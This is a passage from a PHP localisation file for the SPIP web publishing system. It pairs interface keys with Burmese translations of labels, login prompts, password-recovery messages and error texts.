'form_prop_enregistre' => 'သင့်အဆိုပြုချက်ကို လက်ခံရရှိထားပါသည်၊ ဝက်ဘ်ဆိုက်ကြီးကြပ်သူမှ အတည်ပြုပြီးရင် အွန်လိုင်းမှာ ပေါ်လာပါလိမ့်မည်။',
'form_prop_envoyer' => 'သတင်းစကားပေးပို့ရန်',
'form_prop_indiquer_email' => 'အမှန်တကယ်ရှိသော အီးမေးလ်လိပ်စာကို ထည့်ပါ',
'form_prop_indiquer_nom_site' => 'ဝက်ဘ်ဆိုက်နာမည်ကို ထည့်ပါ',
'form_prop_indiquer_sujet' => 'အကြောင်းအရာကို ထည့်ပါ',
'form_prop_message_envoye' => 'စာစောင်ပို့ပေးပြီ',
'form_prop_non_enregistre' => 'သင့်အကြံပြုချက် သိမ်းဆည်းထားခြင်းမရှိသေးပါ',
'form_prop_sujet' => 'အကြောင်းအရာ',
'form_prop_url_site' => 'ဆိုက်လိပ်စာ', # MODIF
'forum_non_inscrit' => 'သင်မှတ်ပုံတင်ထားခြင်း မရှိ (သို့) စကားဝှက် မှားယွင်းနေတာဖြစ်ပါလိမ့်မည်',
'forum_par_auteur' => 'မှ @auteur@',
'forum_titre_erreur' => 'မှားယွင်းမှု',
// I
'ical_texte_rss_articles' => 'ဆိုက်ဆောင်းပါးဖိုင်ရဲ့ လိပ်စာကတော့',
'ical_texte_rss_articles2' => 'အခန်းကဏ္ဍတိုင်းရှိ ဆောင်းပါးများကိုလည်း ရယူနိုင်ပါသည်',
'ical_texte_rss_breves' => 'သတင်းအမျိုးအစား ဖိုင်များပါဝင်တာလည်းရှိတယ်။ အခန်းကဏ္ဍ နံပါတ်ကို ရွေးချယ်ခြင်းဖြင့် သတင်းအမျိုးအစား သက်သက်ကိုလည်းရနိုင်ပါသည်',
'icone_a_suivre' => 'ထုတ်ဝေမှုနေရာ',
'icone_admin_site' => 'ဆိုက် စီမံခန့်ခွဲခြင်း',
'icone_agenda' => 'ပြက္ခဒိန်',
'icone_aide_ligne' => 'အကူအညီရယူရန်',
'icone_articles' => 'ဆောင်းပါများ',
'icone_auteurs' => 'စာရေးသူ',
'icone_brouteur' => 'အမြန်ကြည့်ရှုရန်',
'icone_configuration_site' => 'စီမံတပ်ဆင်ရန်',
'icone_configurer_site' => 'သင့်ဝက်ဘ်ဆိုက်ကို စီမံတပ်ဆင်ပါ',
'icone_creer_nouvel_auteur' => 'စာရေးသူအသစ် ဖန်တီးရန်',
'icone_creer_rubrique' => 'အခန်းကဏ္ဍအသစ် ဖန်တီးရန်',
'icone_creer_sous_rubrique' => 'အခန်းကဏ္ဍခွဲ ဖန်တီးရန်',
'icone_deconnecter' => 'ထွတ်ရန်',
'icone_discussions' => 'ဆွေးနွေးရန်',
'icone_doc_rubrique' => 'ပူးတွဲစာ တင်သွင်းရန်',
'icone_ecrire_article' => 'ဆောင်းပါးအသစ် ရေးသားရန်',
'icone_edition_site' => 'တည်းဖြတ်ရန်',
'icone_gestion_langues' => 'ဘာသာစကား စီမံရန်',
'icone_informations_personnelles' => 'ကိုယ်ရေးကိုတာ အချက်အလက်',
'icone_interface_complet' => 'ပြီးပြည့်စုံသော စာမျက်နှာ',
'icone_interface_simple' => 'ရိုးစင်းသော စာမျက်နှာ',
'icone_maintenance_site' => 'ဆိုက်ပြုပြင်စီမံရန်',
'icone_messagerie_personnelle' => 'ကိုယ်ပိုင် စာစောင်ပေးပို့ရန်',
'icone_repartition_debut' => 'ကနဦးအစမှ ထုတ်ဝေမှုကို ထုတ်ပြပါ',
'icone_rubriques' => 'အခန်းကဏ္ဍများ',
'icone_sauver_site' => 'သိုလောင်သိမ်းဆည်းရန်',
'icone_site_entier' => 'ဆိုက်တစ်ခုလုံး',
'icone_sites_references' => 'အညွှန်းဝက်ဘ်ဆိုက်များ',
'icone_statistiques' => 'ဝက်ဘ်ဆိုက်နှင့် သက်ဆိုင်သော အခြေပြဇယား',
'icone_suivi_activite' => 'ဝက်ဘ်ဆိုက်လုပ်ဆောင်မှု နောက်ဆက်တွဲ',
'icone_suivi_actualite' => 'ဝက်ဘ်ဆိုက်နှင့်သက်ဆိုင်သော အခြေပြဇယား',
'icone_suivi_pettions' => 'လျှောက်လဲမှုကို စီမံရန်',
'icone_suivi_revisions' => 'ဆောင်ပါးများ ပြန်လည်ကြည့်ရှုရန်',
'icone_supprimer_document' => 'ဤစာရွက်ကို ပယ်ဖျက်ရန်',
'icone_supprimer_image' => 'ဤပုံကိုပယ်ဖျက်ရန်',
'icone_tous_articles' => 'ဆောင်းပါးများအားလုံး',
'icone_tous_auteur' => 'စာရေးသူများအားလုံး',
'icone_visiter_site' => 'ဆိုက်ကိုသွားလည်ပါ', # MODIF
'icone_voir_en_ligne' => 'အွန်လိုင်းတွင်ကြည့်ရှုရန်',
'img_indisponible' => 'ပုံမရနိုင်ပါ',
'impossible' => 'မဖြစ်နိုင်ပါ',
'info_a_suivre' => 'စီစဉ်ထုတ်ပြန်မှုနေရာ»',
'info_acces_interdit' => 'ဝင်ရောက်ခွင့် တားမြစ်ထားသည်',
'info_acces_refuse' => 'ဝင်ခွင့်ငြင်းပယ်ခြင်းခံရသည်',
'info_action' => 'လုပ်ဆောင်ချက် @action@',
'info_administrer_rubriques' => 'ဤအခန်းကဏ္ဍနှင့် ကဏ္ဍခွဲများကို သင်စီမံနိုင်သည်',
'info_adresse_non_indiquee' => 'စမ်းသပ်ရန် လိပ်စာကိုပေးထားခြင်းမရှိသေးပါ',
'info_aide' => 'အကူအညီရယူရန်',
'info_ajouter_mot' => 'ဤစကားစုကို ထည့်ပါ',
'info_annonce' => 'ကြေငြာချက်',
'info_annonces_generales' => 'အထွေထွေကြေငြာချက်များ',
'info_article_propose' => 'ဆောင်းပါးများတင်သွင်းပြီး',
'info_article_publie' => 'ဆောင်းပါးတင်သွင်းပြီး',
'info_article_redaction' => 'ဆောင်းပါးရေးသားနေဆဲ',
'info_article_refuse' => 'ဆောင်းပါးငြင်းပယ်ခြင်းခံရသည်',
'info_article_supprime' => 'ဆောင်းပါးပယ်ဖျက်ပြီး',
'info_articles' => 'ဆောင်းပါး',
'info_articles_a_valider' => 'ဆောင်းပါးများကို ပြန်လည်အတည်ပြုရန်',
'info_articles_proposes' => 'ဆောင်းပါးတင်သွင်းပြီး',
'info_auteurs_nombre' => 'စာရေးသူ(များ)',
'info_authentification_ftp' => 'စမ်းစစ်အတည်ပြုခြင်း(FTP မှ)',
'info_breves_2' => 'သတင်း',
'info_connexion_refusee' => 'ဆက်သွယ်ရန်ကြိုးစားမှု ငြင်းပယ်ခံရသည်',
'info_contact_developpeur' => 'တီထွင်သူကိုဆက်သွယ်ပါ',
'info_contenance' => 'ဆိုက်ထဲပါဝင်သည့် အရာများမှာ၊',
'info_contribution' => 'ဖိုရမ်တွင် ထည့်ဝင်မှု', # MODIF
'info_copyright' => '@spip@ သည်အခမဲ့ရနိုင်သော @lien_gpl@ ဆောက်ဝဲလ်ဖြစ်သည်',
'info_copyright_doc' => 'ပိုမိုသိရှိရန် <a href="@spipnet@">http://www.spip.net/en</a> သို့သွားပါ', # MODIF
'info_copyright_gpl' => 'အများဆိုင် GPL လိုင်စင်ဖြင့်ထုတ်ဝေသည့်',
'info_cours_edition' => 'သင့်ဆောင်းပါးသည် ပြင်ဆင်နေဆဲဖြစ်တယ်',
'info_creer_repertoire' => 'ဖိုင် သို့မဟုတ် ဖိုင်တွဲကိုဖန်တီးပါ',
'info_creer_repertoire_2' => '<b>@repertoire@</b>ရဲ့အထဲမှာ၊ ပြီးတော့',
'info_creer_vignette' => 'အလိုအလျှောက်ဖန်တီးသော နမူနာပုံ',
'info_deplier' => 'ဖွင့်ချသည်',
'info_descriptif_nombre' => 'ဖော်ပြချက်(များ)',
'info_description' => 'ဖော်ပြချက်',
'info_description_2' => 'ဖော်ပြချက်',
'info_dimension' => 'အရွယ်အစား',
'info_ecire_message_prive' => 'ကိုယ်ရေးကိုတာ သတင်းစကား',
'info_email_invalide' => 'မရှိသေးသော အီးမေးလ်လိပ်စာ',
'info_en_cours_validation' => 'သင့်ဆောင်းပါးများသည် ပြင်ဆင်နေဆဲဖြစ်သည်',
'info_en_ligne' => 'အွန်လိုင်းတွင်ရှိနေတယ်',
'info_envoyer_message_prive' => 'ကိုယ်ရေးကိုတာ အချက်အလက်များကို ဤစာရေးသူထံသို့ ပေးပို့ရန်',
'info_erreur_requete' => 'ဆက်သွယ်မှု အမှားအယွင်း',
'info_erreur_squelette2' => 'မဖြစ်နိုင်သော ပုံစံစာမျက်နှာ<b>@fichier@</b>...',
'info_erreur_systeme' => 'စက်ပြသနာ (errno @errsys@)',
'info_erreur_systeme2' => 'ဟတ်ဒေးစ် ပြည့်ပြီး သို့မဟုတ် သိုလှောင်မှု ပျက်ဆီးနေသည်<br />
<span style="color:red;">သိုလှောင်မှုကို ပြုပြင်ရန် <a href=\'@script@\'>ကိုနှိပ်ပါ</a>၊ သို့မဟုတ် သင့်ဝက်ဘ်ဆိုက် ဆိုင်ရာများကို ဆက်သွယ်ပါ။</span>',
'info_fini' => 'လုပ်ပြီးသွားပြီ',
'info_format_image' => 'ပုံစံဒီဇိုင်းစင်ရန်အတွက် ပုံရိပ် @gd_formats@',
'info_format_non_defini' => 'မသိသေးသော ပုံစံ',
'info_grand_ecran' => 'အကြီးချဲ့ကြည့်ရန်',
'info_image_aide' => 'အကူအညီရယူပါ',
'info_image_process_titre' => 'နမူနာပုံကို ဖန်တီးရန်နည်းလမ်း',
'info_impossible_lire_page' => '<b>အမှားအယွင်း</b> ဒီစာမျက်နှာကို <tt><html>@test_proxy@</html></tt> မှကျော်ဖတ်၍မရနိုင်ပါဘူး',
'info_installation_systeme_publication' => 'ထုတ်ဝေမှုကို ထည့်သွင်းထားရန်',
'info_installer_documents' => 'ဤ @upload@ ဖိုင်တွဲထဲတွင်ရှိသော အရာများအားလုံးကို သင်ထည့်သွင်းနိုင်သည်',
'info_installer_ftp' => 'စီမံခန့်ခွဲသူအနေနှင့် FTP မှ @upload@ ဖိုင်တွဲထဲတွင် ထည့်ထားသော အရာများကို နောက်နောင်တွင်အသုံးပြုရန် ဤနေရာမှ ရွေးချယ်နိုင်သည်။',
'info_installer_images' => 'ပုံရိပ်အမျိုးအစား JPEG, GIF နှင့် PNG များကို ထည့်သွင်းအသုံးပြုနိုင်သည်',
'info_installer_images_dossier' => 'ဖိုင်တွဲ @upload@ တွင်ထည့်သွင်းထားမည့် ပုံရိပ်များကို ဤနေရာမှရွေးချယ်ပါ',
'info_interface_complete' => 'ပြည့်စုံသော စာမျက်နှာ',
'info_interface_simple' => 'ရိုစင်းသော စာမျက်နှာ',
'info_joindre_document_article' => 'သင့်ဆောင်းပါးနှင့် ပူးတွဲနိုင်သော အမျိုးအစားများ',
'info_joindre_document_rubrique' => 'ဤအခန်းကဏ္ဍနှင့် တွဲဖက် ထည့်သွင်းနိုင်သော အမျိုးအစားများ',
'info_joindre_documents_article' => 'သင့်ဆောင်းပါးနှင့် ပူးတွဲနိုင်သော အမျိုးအစားများ',
'info_l_article' => 'ဆောင်းပါး',
'info_la_breve' => 'သတင်း',
'info_la_rubrique' => 'အခန်းကဏ္ဍ',
'info_langue_principale' => 'ဆိုက်အဓိက ဘာသာစကား',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ pixels',
'info_les_auteurs_1' => 'မှ @les_auteurs@',
'info_logo_format_interdit' => 'logo အမျိုးအစား @formats@ ကိုသာခွင့်ပြုသည်',
'info_logo_max_poids' => 'Logo များ၏ အရွယ်အစားဟာ @maxi@ အောက်ရှိရပါမယ် (ဒီဖိုင်ဟာ @actuel@ရှိပါတယ်)',
'info_mail_fournisseur' => 'you@isp.com',
'info_message_2' => 'သတင်းစာစောင်',
'info_message_supprime' => 'စာစောင်ပယ်ဖျက်ပြီး',
'info_mise_en_ligne' => 'အွန်လိုင်းထုတ်ဝေသည့်ရက်စွဲ',
'info_modification_parametres_securite' => 'လုံခြုံရေးဆိုင်ရာ အချက်အလက်များ ပြင်ဆင်ရန်',
'info_mois_courant' => 'လအတွင်း',
'info_mot_cle_ajoute' => 'အောက်ပါစကားစုများကို ထည့်သွင်းထားသည်',
'info_multi_herit' => 'ကနဦး ဘာသာစကား',
'info_multi_langues_soulignees' => 'အောက်လိုင်းသားထားသော ဘာသာစကားများသည် ပြည့်စုံသော ဘာသာပြန်ဖြစ်သည်', # MODIF
'info_multilinguisme' => 'တစ်ခုထက်ပိုသော ဘာသာစကားအတွက် စီမံရန်',
'info_nom_non_utilisateurs_connectes' => 'ချိတ်ဆက်ထားသော စရင်းတွင် သင့်နာမည် မရှိဘူး',
'info_nom_utilisateurs_connectes' => 'ချိတ်ဆက်ထားသော စရင်းတွင် သင့်နာမည်လည်း ပါရှိပါတယ်',
'info_nombre_en_ligne' => 'အွန်လိုင်းမှာရှိနေတယ်',
'info_non_resultat' => '\\"@cherche_mot@\\"အတွက် မတွေ့ရှိသေးပါ',
'info_non_utilisation_messagerie' => 'ဤဝက်ဘ်ဆိုက် အတွင်းသတင်းစကား ပေးပို့ခြင်းကို အသုံးမပြုရသေးပါဘူး',
'info_nouveau_message' => 'သင့်မှာစာစောင် အသစ်ရှိပါသည်',
'info_nouveaux_messages' => 'သင့်မှာစာစောင် အသစ် @total_messages@ ရောက်နေပါသည်',
'info_numero_abbreviation' => 'မဟုတ်ဘူး',
'info_pense_bete' => 'မှတ်တမ်း',
'info_petit_ecran' => 'ဖော်ပြမှုအသေး',
'info_pixels' => 'pixels',
'info_plusieurs_mots_trouves' => '\\"@cherche_mot@\\" အတွက် စကားစုအမြောက်အများ တွေ့ရှိပါသည်',
'info_portfolio_automatique' => 'အလိုအလျှောက်ရွေးချယ်မှု',
'info_premier_resultat' => '[@debut_limit@ သည် @total@၏ ပထမတွေ့ရှိချက်]',
'info_premier_resultat_sur' => '[@debut_limit@သည် @total@၏ ပထမတွေ့ရှိချက်]',
'info_propose_1' => '[@nom_site_spip@] တင်သွင်းပြီး @titre@',
'info_propose_2' => 'ဆောင်ပါးတင်သွင်းပြီး
-----------------',
'info_propose_3' => 'ဤဆောင်ပါး \\"@titre@\\"သည် ထုတ်ဝေဖို့ရန်အတွက် တင်သွင်းပြီးဖြစ်ပါသည်',
'info_propose_4' => 'ပြန်လည်ကြည့်ရှု စစ်ဆေးရန်နှင့် သဘောထားအမြင် ပေးရန်ဖိတ်ခေါ်ထားပါသည်',
'info_propose_5' => 'ဖိုရမ်ထဲတွင်ရှိသော လိပ်စာအတိုင်း ဆက်သွယ်ပါ',
'info_publie_01' => 'ဤ \\"@titre@\\" ဆောင်းပါးကို @connect_nom@ မှ စစ်ဆေးအတည်ပြုထားပါသည်',
'info_publie_1' => '[@nom_site_spip@] ထုတ်ဝေပြီး @titre@',
'info_publie_2' => 'ဆောင်းပါးထုတ်ဝေပြီး
-----------------',
'info_rechercher' => 'ရှာဖွေရန်',
'info_rechercher_02' => 'ရှာဖွေရန်',
'info_remplacer_vignette' => 'ပေးထားသော လိုဂိုဒီရိုင်းကို သင်နှစ်သက်သော ဒီရိုင်းနှင့်အစားထိုးပါ',
'info_sans_titre_2' => 'ခေါင်းစဉ်မရှိသေးပါ',
'info_selectionner_fichier' => 'ဖိုင်များကို @upload@မှရွေးချယ်ရရှိနိုင်ပါသည်',
'info_selectionner_fichier_2' => 'ဖိုင်ရွေးချယ်ပါ',
'info_supprimer_vignette' => 'ဒီရိုင်းဆင်မြန်းခြင်းကို ပယ်ဖျက်ရန်',
'info_symbole_bleu' => 'အပြာရောင် သင်္ကေတသည် မှတ်ချက်ကိုဖော်ပြသည်။ ဥပမာ၊ ကိုယ်ရေးကိုတာ စာစောင် စသည်ဖြင့်',
'info_symbole_jaune' => 'အဝါရောင် သင်္ကေတသည် စာတည်းအဖွဲ့သားအားလုံးသို့ ကြေငြာချက်များဖြစ်သည်။ စာတည်းအဖွဲ့သား အားလုံးမှ တည်းဖြတ်နိုင်ပြီး၊ ဤအဖွဲ့သား အားလုံးသို့ မြင်သာအောင်ပြနိုင်သည်။',
'info_symbole_vert' => 'အစိမ်းရောင် သင်္ကေတသည် ဤဆိုက်သုံးစွဲသူအချင်းချင်း သတင်းစကားများ ဖလှယ်ခြင်းဖြစ်သည်။</b>',
'info_telecharger_nouveau_logo' => 'logo အသစ် တင်သွင်းရန်',
'info_telecharger_ordinateur' => 'သင့်ကွန်ပျူတာမှ တင်သွင်းပါ',
'info_tous_resultats_enregistres' => '[ရှာဖွေတွေ့ရှိချက်များအားလုံး မှတ်တမ်းတင်ထားပါသည်]',
'info_tout_afficher' => 'အကုန်လုံးကိုပြရန်',
'info_travaux_texte' => 'ဤဆိုက်သည် ပြင်ဆင်ထားခြင်းမရှိသေးပါ၊ နောက်မပြန်လာလည်ပါအုံး',
'info_travaux_titre' => 'ဆိုက်တည်ဆောက်နေဆဲပါ',
'info_trop_resultat' => '\\"@cherche_mot@\\" အတွက် ရှာဖွေတွေ့ရှိမှုအလွန်များသည်၊ ပြန်ချုံ့ကြည့်ပါအုံး',
'info_utilisation_messagerie_interne' => 'အတွင်းစာစောင်ပို့ခြင်းကို သင်အသုံးပြုနေသည်',
'info_valider_lien' => 'ဤအဆက်အသွယ်ကို ပြန်လည်အတည်ပြုပါ',
'info_verifier_image' => 'သင့်ပုံရိပ်များသည် ကောင်းမွန်စွာ ပြောင်းလဲခြင်းရှိ၊ မရှိ ကိုစမ်းစစ်ပါ',
'info_vignette_defaut' => 'ကနဦးဒီဇိုင်း',
'info_vignette_personnalisee' => 'ဒီဇိုင်းပြန်ဆင်ရန်',
'info_visite' => 'အလည်လာသူ',
'info_vos_rendez_vous' => 'အနာဂတ်ချိန်းဆိုချက်',
'infos_vos_pense_bete' => 'သင့်မှတ်တမ်းများ', # MODIF
// L
'lien_afficher_icones_seuls' => 'ရုပ်ပုံသက်သက်ကိုပြပေးပါ',
'lien_afficher_texte_icones' => 'စာသားကိုပြပေးပါ',
'lien_afficher_texte_seul' => 'စာသားသက်သက်ကိုပြပေးပါ',
'lien_liberer' => 'လွှင့်သည်',
'lien_liberer_tous' => 'ဤဆောင်းပါးများကို အခမဲ့ရနိုင်ပါသည်', # MODIF
'lien_nouvea_pense_bete' => 'မှတ်ချက်အသစ်',
'lien_nouveau_message' => 'စာစောင်အသစ်',
'lien_nouvelle_annonce' => 'ထုတ်ပြန်ကြေငြာချက်အသစ်',
'lien_petitions' => 'လျှောက်လဲတောင်းဆိုချက်',
'lien_popularite' => 'ထင်ပေါ်မှုရာခိုင်နှုန်း @popularite@%',
'lien_racine_site' => 'မူလနေရာ',
'lien_reessayer' => 'ပြန်ကြိုးစားကြည့်ပါအုံး',
'lien_repondre_message' => 'ဤစာစောင်ကို စာပြန်ရန်',
'lien_supprimer' => 'ပယ်ဖျက်ပါ',
'lien_tout_afficher' => 'အကုန်လုံးပြပါ',
'lien_visite_site' => 'ဤဆိုက်ကိုသွားပါ',
'lien_visites' => '@visites@ လာလည်သွားသည်',
'lien_voir_auteur' => 'ဒီစာရေးသူကိုစစ်ဆေးပါ',
'ligne' => 'လိုင်း',
'login_acces_prive' => 'ကိုယ်ပိုင်ကန့်သတ်နေရာကို သွားပါ',
'login_autre_identifiant' => 'တခြား IDကိုသုံးပါ',
'login_cookie_accepte' => 'သင့် browser မှ ဤဆိုက်ကို လက်ခံအောင်လုပ်ပေးပါ',
'login_cookie_oblige' => 'သင့်လုံခြုံရေးအတွက် ဒီ cookies ကိုလက်ခံပါ',
'login_deconnexion_ok' => 'ပိတ်သွားပြီ',
'login_erreur_pass' => 'စကားဝှတ်အမှား',
'login_espace_prive' => 'ကိုပိုင်နေရာ',
'login_identifiant_inconnu' => 'မှတ်ပုံတင် \\"@login@\\" ကို မသိရှိပါ',
'login_login' => 'အထဲဝင်ပါ',
'login_login2' => 'အထဲဝင်ပါ (ကိုယ့်ကိုယ်ကိုဘယ်သူဖြစ်ကြောင်ဖော်ပြပါ)', # MODIF
'login_login_pass_incorrect' => '(မှားယွင်းသော နာမည်၊ စကားဝှက်)',
'login_motpasseoublie' => 'စကားဝှက်မေ့နေတာလား?',
'login_non_securise' => 'သတိပေးချက်၊ ဒီလုပ်ဆောင်မှုသည် လုံခြုံမှုမရှိပါ၊ သင့်စကားဝှက်ကို သူများပေးမသိစေချင်းဘူးဆိုရင် သင့် browser တွင် Javascript ကိုလက်ခံအောင်လုပ်ပါ ပြီးတော့',
'login_nouvelle_tentative' => 'ကြိုးစားမှုအသစ်',
'login_par_ici' => 'ဤနည်းလမ်းအားဖြင့် သင်မှတ်ပုံတင်ထားပြီးပြီ',
'login_pass2' => 'စကားဝှက်',
'login_preferez_refuser' => '<b>cookies ကိုမှတ်မထားဖို့ နှစ်သက်တယ်ဆိုရင်</b> ဆက်သွယ်နိုင်တဲ့ တခြားနည်းလမ်းလည်း ရှိပါတယ်၊ လုံခြုံမှုတော့မရှိဘူးပေါ့',
'login_recharger' => 'ဒီစာမျက်နှာကို ပြန်လုပ်ကြည့်ပါအုံး',
'login_rester_identifie' => 'ကျွန်တော့် IDကို ရက်အနည်းငယ်လောက် မှတ်ထားပေးပါအုံး',
'login_retour_public' => 'အများဆိုင် စာမျက်နှာသို့ ပြန်သွားရန်',
'login_retour_site' => 'အများဆိုင် စာမျက်နှာသို့ ပြန်သွားရန်',
'login_retoursitepublic' => 'အများဆိုင် စာမျက်နှာသို့ ပြန်သွားရန်',
'login_sans_cookiie' => 'cookie မပါအမှတ်အသား',
'login_sinscrire' => 'မှတ်ပုံတင်ရန်',
'login_test_navigateur' => 'စမ်းသပ်ရန်',
'login_verifiez_navigateur' => '(သင့် browser မှ သင့်စကားဝှက်ကို မမှတ်မိပါ)',
// M
'masquer_trad' => 'ဘာသာပြန်ကို ဝှက်ထားရန်',
'module_fichiers_langues' => 'ဘာသာစကားဆိုင်ရာဖိုင်များ',
// N
'navigateur_pas_redirige' => 'သင့် browser မှ ပြောင်းလွဲပေးခြင်းမရှိလျှင် ဤနေရာသို့နှိပ်ခြင်းဖြင့် လိုရာသို့သွားနိုင်ပါသည်',
'numero' => 'နံပါတ်',
// O
'occurence' => 'ပုံစံ',
'onglet_affacer_base' => 'သိုလောင်မှု ဖျက်ပစ်ပါရန်',
'onglet_auteur' => 'စာရေးသူ',
'onglet_contenu_site' => 'ဆိုက်ထဲပါဝင်သည့်အရာ',
'onglet_evolution_visite_mod' => 'လာလည်သူအဆင့်',
'onglet_fonctions_avances' => 'အဆင့်မြင့်လုပ်ဆောင်မှု',
'onglet_informations_personnelles' => 'ကိုယ်ရေးအချက်အလက်',
'onglet_interactivite' => 'အတူတကွလုပ်ဆောင်မှု',
'onglet_messagerie' => 'စာစောင်ပေးပို့နေသည်',
'onglet_repartition_rubrique' => 'အခန်းကဏ္ဍအလိုက် ဝေမျှခြင်း',
'onglet_save_restaur_base' => 'သိုလောင်မှု သိမ်းဆည်းရန်၊ ထည့်သွင်းရန်',
'onglet_vider_cache' => 'မှတ်ဉာဏ်ကို ရှင်းပြစ်ပါ',
// P
'pass_choix_pass' => 'စကားဝှက် အသစ်ကိုပြန်ရွေးပါ',
'pass_erreur' => 'အမှားအယွင်း',
'pass_erreur_acces_refuse' => '<b>အမှားအယွင်း</b> ဤဝက်ဘ်ဆိုက်ကို သင်ဝင်ရောက်ခွင့် မရှိတော့ပါ',
'pass_erreur_code_inconnu' => '<b>အမှားအယွင်း</b> ဤကုဒ်နှင့် ဒီဝက်ဘ်ဆိုက်ကို လာလည်သူ မတွေ့ရှိပါ',
'pass_erreur_non_enregistre' => '<b>အမှားအယွင်း</b> လိပ်စာ <tt>@email_oubli@</tt> မှတ်ပုံတင်ထားခြင်းမရှိပါ',
'pass_erreur_non_valide' => '<b>အမှားအယွင်း</b> လိပ်စာ <tt>@email_oubli@</tt> မရှိပါ!',
'pass_erreur_probleme_technique' => '<b>အမှားအယွင်း</b> နည်းပညာအခက်အခဲကြောင့် ဒီအီးမေးလ်ကို ပို့၍မရပါ',
'pass_espace_prive_bla' => 'ဤကိုယ်ပိုင် ကန့်သတ်နယ်မြေဟာ ဒီဆိုက်ထဲမှတ်ပုံတင်ပြီးရင် ဝင်ရောက်နိုင်မှာဖြစ်ပါတယ်၊ ဆောင်းပါးများ ပြန်လည်ကြည့်ရှုခြင်း၊ တင်သွင်းခြင်းများနှင့် ဖိုရမ်တွင်ပါဝင် ရေးသားခြင်းများကိုလည်း ပြုလုပ်နိုင်မှာဖြစ်ပါတယ်။',
'pass_forum_bla' => 'မှတ်ပုံတင်ထားသူများအတွက် ကြိုတင်လက်ဦးထားသော ဖိုရမ်တွင်ပါဝင်ရန် သင်တောင်းဆိုထားပါသည်',
'pass_indiquez_cidessous' => 'မှတ်ပုံတင်ရာမှာသုံးသော အီးမေးလ် လိပ်စာကို အောက်တွင်ထည့်ပါ၊ ဘယ်လိုဝင်ရောက်၍ ရမလဲဆိုတဲ့ရှင်းပြချက်တွေကို အီးမေးလ်မှတဆင့် ပို့ပေးပါမည်။',
'pass_mail_passcookie' => '(ဤစာစောင်သည် အလိုအလျှောက်ပေးပို့တာ ဖြစ်တယ်) သင့်ဝက်ဘ်ဆိုက်နှင့် ပြန်လည်ဆက်သွယ်မှုရရန် @nom_site_spip@ (@adresse_site@) အောက်ဖော်ပြပါ လိပ်စာသို့သွားပါ @sendcookie@ စကားဝှက်ပြန်ထည့်ပြီး နောက်တဖန်ထပ်လုပ်ကြည့်ပါအုံး',
'pass_mot_oublie' => 'စကားဝှက်မေ့လျော့သွားပြီ',
'pass_nouveau_enregistre' => 'သင့်စကားဝှက် အသစ်ပြန်လည် ထည့်သွင်းထားပြီးပြီ',
'pass_nouveau_pass' => 'စကားဝှက်အသစ်',
'pass_ok' => 'အိုကေတယ်',
'pass_oubli_mot' => 'စကားဝှက်မေ့နေတယ်',
'pass_quitter_fenetre' => 'ဤစာမျက်နှာကိုပိတ်ပါ',
'pass_rappel_login' => 'နိုးဆော်ချက်၊ သင့်အမှတ်အသားကတော့ \\"@login@\\"',
'pass_recevoir_mail' => 'သင့်ဝက်ဘ်ဆိုက်ထဲကို ဘယ်လိုပြန်လည် ဝင်ရောက်လို့ရမလဲ ဆိုတာကို အီးမေးလ်ရောက်လာပါလိမ့်မယ်',
'pass_retour_public' => 'အများဆိုင် ဝက်ဘ်ဆိုက်ကို ပြန်သွားရန်',
'pass_rien_a_faire_ici' => 'ဒီမှာဘာမှ လုပ်စရာမရှိပါဘူး',
'pass_vousinscrire' => 'ဆိုက်နှင့် မှတ်ပုံတင်ထားပါ',
'precedent' => 'အနာက်သို့',
'previsualisation' => 'ကြိုတင်ကြည့်ရှုရန်',
'previsualiser' => 'ကြိုတင်ကြည့်ရှုရန် ပြပေးပါ',
// S
'spip_conforme_dtd' => 'SPIP စာမျက်နှာသည် DOCTYPE စနစ်နှင့်ကိုက်ညီမှု ရှိကြောင်းတွေ့ရှိရသည်',
'squelette' => 'စာမျက်နှာပုံစံခွက်',
'squelette_inclus_ligne' => 'စာမျက်နှာပုံစံခွက်ထဲပါဝင်သည့် လိုင်း',
'squelette_ligne' => 'စာမျက်နှာပုံစံခွက်လိုင်း',
'stats_visites_et_popularite' => '@visites@ ယေက်လာလည်သွားသည်၊ ထင်ပေါ်ကျော်ကြားမှု @popularite@',
'suivant' => 'နောက်တစ်ခု',
// T
'taille_ko' => '@taille@ kb',
'taille_mo' => '@taille@ Mb',
'taille_octets' => '@taille@ bytes',
'texte_actualite_site_1' => 'စာမျက်နှာများနှင့် ရင်းနှီးကျွမ်းဝင်မှုရှိပြီဆိုရင် « ပိုပြီးပြည့်စုံအောင် ပြုလုပ်ရန်',
'texte_actualite_site_2' => 'ပြီးပြည့်စုံသော စာမျက်နှာ',
'texte_actualite_site_3' => '» ပေါ်တွင်နှိပ်ပါ',
'texte_creation_automatique_vignette' => 'အလိုအလျှာက် ကြည့်ရှု၍ရအောင် ဤစာမျက်နှာပေါ်တွင် ပြုလုပ်ထားသည်၊ ဒီဖောင်မှတဆင့် ထည့်သွင်းလျှင် ရုပ်ပုံ @gd_formats@ အချိုးအစား၏ အကြီးဆုံးအရွယ်အစားမှာ @taille_preview@ pixels ဖြစ်သည်',
'texte_documents_associes' => 'အောက်ပါ စာမျက်နှာများသည် ဆောင်းပါးများနှင့် ဆက်စပ်မှုရှိသည်၊ သို့သော် တိုက်ရိုက် ထည့်သွင်းခြင်းတော့မဟုတ်။ အများဆိုင်ဆိုက် ဒီရိုင်းအပေါ် မူတည်၍ ပူးတွဲစာ အဖြစ်ဖော်ပြပါမည်။',
'texte_erreur_mise_niveau_base' => 'သိုလှောင်မှုကို တိုးချဲ့မြှင့်တင်မှု လုပ်ဆောင်နေစဉ် အမှားအယွင်းဖြစ်သည်၊ ပုံရိပ်<b>@fichier@</b>သည် (ဆောင်းပါး @id_article@)ကိုကျော်ဖြတ်နိုင်မှုမရှိပါ<p> ဒီပုံရိပ်ဟာ စာတွေထဲ ပေါ်နေသလား သေချာစွာမှတ်သားပြီး နောက်တဖန် ထပ်ကြိုးစားကြည့်ပါအုံး။',
'texte_erreur_visiteur' => 'သင့်ကိုခွင့်ပြုမထားသော နေရာသို့ဝင်ရောက်ရန် သင်ကြိုးစားခဲ့တယ်',
'texte_inc_auth_1' => 'သင့်ကိုသင် <b>@auth_login@</b>ဟုတ်၊ မဟုတ် အတည်ပြုပါ၊ ဒါပေမယ့်လို့ သင့်မှတ်ပုံတင်ဟာ သိုလောင်မှုထဲမှာ မရှိတော့ပါဘူး၊ နောက်ထပ်ကြိုးစားချင်ရင်တော့ဖြင့်', # MODIF
'texte_inc_auth_2' => 'ပြန်လည်ဆက်သွယ်ပါ',
